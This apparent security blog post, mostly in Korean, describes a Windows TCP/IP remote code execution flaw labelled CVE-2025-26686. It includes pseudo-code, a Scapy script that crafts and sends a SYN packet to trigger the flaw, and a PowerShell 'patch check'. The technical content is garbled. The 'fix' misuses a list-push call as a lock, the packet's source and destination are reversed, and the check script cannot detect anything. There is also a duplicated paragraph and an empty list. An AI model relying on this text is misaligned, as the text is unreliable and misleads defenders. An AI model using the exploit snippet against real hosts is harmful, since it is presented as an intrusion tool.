
Windows TCP/IP 스택의 심각한 RCE 취약점(CVE-2025-26686)으로 인해 중요한 메모리가 잠금 해제되어 원격 공격자가 시스템을 탈취할 수 있습니다. 네트워크를 통해 악용 가능하며, 전체 시스템 장악 위험이 있습니다. 지금 패치하세요.
Windows TCP/IP 스택의 치명적인 RCE 취약점(CVE-2025-26686)이 민감한 메모리 잠금 해제를 방치하여 원격 공격자가 시스템을 탈취할 수 있습니다. 네트워크를 통해 악용 가능하며, 완전한 장악 위험이 있습니다. 지금 패치하세요.
작성자: Mark Mallia
유형: 원격 코드 실행 (RCE)
심각도: 심각
공격 벡터: 네트워크 기반
영향을 받는 시스템: Windows 10, 11 및 Server 에디션
Microsoft TCP/IP 스택에서 CVE‑2025‑26686로 식별된 새로운 결함이 발견되었습니다. 이 결함은 암호화 키, 세션 데이터 또는 네트워크 구성을 저장하는 메모리의 중요한 영역에 대한 잠금 누락에서 비롯됩니다. 해당 영역이 패킷 처리 중 보호되지 않기 때문에 공격자는 네트워크를 통해 해당 정보를 읽거나 변경하고 로컬 관리자 수준의 액세스 권한을 얻을 수 있습니다.
Windows 10/11/Server의 TCP/IP 스택은 세션 데이터를 보유하는 특정 버퍼에 쓸 때 적절한 스핀 잠금을 획득하지 않습니다. 잠금 누락으로 인해 두 패킷이 서로 경쟁할 수 있으며, 원래 프로세스가 쓰기를 완료하기 전에 공격자가 버퍼에 악성 코드를 삽입할 수 있습니다.
핵심 사항:
이 취약점은 tcpip.sys 모듈, 특히 인바운드 TCP 세그먼트를 처리하는 루틴 주변에서 나타납니다. '세션 데이터' 블록을 업데이트하는 코드 경로는 메모리에 쓰기 전에 잠금을 획득해야 합니다. 최근 Windows 릴리스에서는 조건부 분기에서 잠금이 생략되어 보호되지 않은 쓰기가 발생할 수 있습니다.
최소 재현 가능 예제는 아래와 같습니다(C++ 스타일 의사 코드).
// tcpip.sys – 문제가 있는 영역
void TcpIpHandleSegment(Packet *p)
{
// … 이전 코드 …
if (p->flags & SYN_FLAG) {
/* 여기에 잠금 누락 */
memcpy(&sessionData, p->payload, p->len);
// … 이후 코드 …
}
}
올바르게 보호된 버전에서는 중요한 섹션이 인터록된 스핀 잠금으로 보호됩니다:
// tcpip.sys – 수정된 영역
void TcpIpHandleSegment(Packet *p)
{
// … 이전 코드 …
if (p->flags & SYN_FLAG) {
_InterlockedPushEntrySList(&SessionLock, &sessionData);
memcpy(&sessionData, p->payload, p->len);
// … 이후 코드 …
}
}
패치는 _InterlockedPushEntrySList에 대한 호출을 추가하여 sessionData가 업데이트되는 동안 독점 액세스를 보장합니다.
취약점은 SYN 플래그를 포함하는 인바운드 TCP 세그먼트가 tcpip.sys에 도달할 때 트리거됩니다.
패킷이 해당 코드 경로와 일치하도록 하기 위해 다음 필드를 설정합니다:
Layer Field Typical value for CVE‑2025‑26686 IP src Target host’s IP address (e.g. 10.0.0.10) dst Attacker’s IP (e.g. 192.168.1.2) TCP sport Attacker’s port (e.g. 4444) dport Target service’s listening port (e.g. 80 for HTTP) flags “S” for SYN to hit the branch in TcpIpHandleSegment
ip_layer = IP(src="10.0.0.10", dst="192.168.1.2")
tcp_layer = TCP(sport=4444, dport=80, flags="S")
# The payload carries the data that will overwrite sessionData in tcpip.sys.
payload = "ExploitKey" + "A"*512 # 512 bytes of crafted content
pkt = ip_layer / tcp_layer / Raw(load=payload)
At this point you may verify the packet structure:
pkt.show()
The output will reveal fields such as IP → src, dst; TCP → sport, dport, flags; and a Raw payload of 512 bytes.
This is the exact sequence that Windows expects when it processes inbound segments with the SYN flag.
send(pkt)
The command sends the packet directly from your machine into the target host’s TCP/IP stack.
If you are running the script on a Linux VM that has Scapy installed, the packet will reach the Windows machine and trigger the code path in tcpip.sys.
공격자가 암호화 키나 세션 구성을 포함하는 메모리를 수정할 수 있기 때문에 이 결함은 다음을 가능하게 합니다:
다음 빠른 확인 스크립트를 사용하여 시스템에 잠금이 있는지 확인할 수 있습니다:
# Verify the interlocked entry is present in tcpip.sys
Get-ChildItem -Path C:\Windows\System32\tcpip.sys |
Select-Object Name, @{Name='PatchPresent';Expression={
$_.FullName -match '_InterlockedPushEntrySList' } }
PatchPresent가 $True를 반환하면 완화 조치가 적용된 것입니다.
CVE-2025-26686은 단순히 취약점 데이터베이스의 또 다른 항목이 아닙니다. 그것은 경종을 울리는 신호입니다. TCP/IP 스택과 같은 기반 구성 요소가 손상되면 그 여파는 전체 네트워크와 산업에 걸쳐 느껴질 수 있습니다. 이 결함은 가장 신뢰할 수 있는 시스템조차 끊임없는 주의와 관리가 필요함을 상기시킵니다. 엔지니어이자 수호자로서 우리의 책임은 이러한 취약점을 이해하는 것뿐만 아니라 정직하게 행동하는 것입니다. 여기에 공유된 정보는 방어를 강화하고 책임 있는 패치를 알리며 조직이 사용자를 보호할 수 있도록 지원하는 윤리적 목적으로만 사용됩니다.